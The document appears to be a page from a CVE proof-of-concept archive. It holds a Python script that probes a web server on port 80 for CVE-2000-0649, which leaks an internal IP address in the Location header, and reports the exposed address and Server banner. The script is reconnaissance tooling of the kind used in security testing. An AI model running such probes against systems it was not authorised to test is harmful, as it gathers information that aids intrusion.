5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2000-0649.py PY
#!/usr/bin/env python3
import socket
import re
import sys
import argparse

def main():
    parser = argparse.ArgumentParser(description="Script to test a URL vulnerable to CVE-2000-0649")
    parser.add_argument("url", help="URL to be tested", type=str)
    parser.add_argument("--path", "-p", help="Path to be tested", type=str)
    parser.add_argument("--verbose", "-v", help="Show HTTP header sent and HTTP Response", action="store_true")
    args = parser.parse_args()

    if  args.url:
        target = args.url
        target = target.replace("http://","")
        if "https://" in target:
            print ("\nHTTPS is not vulnerable to CVE-2000-0649\nTry HTTP instead")
    if not args.path:
        path = "/"
    else :
        if args.path.startswith("/"):
            path = args.path
        else:
            path = "/" + args.path

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    try:
        s.connect((target, 80))
        request = "GET " + str(path) + " HTTP/1.0\r\n\r\n"
        s.send(request.encode())
    except socket.error as exc:
        print ("\nNo response received from host %s" % exc + "\nThe path must be included with --path argument...\n")
        sys.exit()

    while True:
        raw_response = s.recv(4096)
        if raw_response is None:
            print ("\nNo response received from host, connection closed...\nThe path must be included with --path argument...\n")
            s.close()
            break
        else:
            response = raw_response.decode()
            location = (re.search(r'Location.*',response)).group()
            ip_add = re.search(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})',location)
            ser_ver = re.search(r'Server.*',response)
            if ip_add != None:
                ip_address = ip_add.group()
                ser_version = ser_ver.group()
                print ("\nTarget: http://" + target + path)
                print ("Vulnerable to CVE-2000-0649 (http-internal-ip-disclosure)")
                print ("Internal IP address exposed on response header")
                print ("Reference: https://securitytracker.com/id/1002188")
                print ("\nServer's local IP address: " + ip_address)
                print ("Web " + ser_version + "\n")
                if args.verbose:
                    print ("HTTP Header sent: \n" + request)
                    print(response)
                sys.exit()
                    
            else:
                print ("\nTarget: http://" + target + path)
                print ("May not be vulnerable to CVE-2000-0649 (http-internal-ip-disclosure)")
                print ("Path /images is likely to be vulnerable, search for it and test again.\n")
                sys.exit()


if __name__ == '__main__':
    main()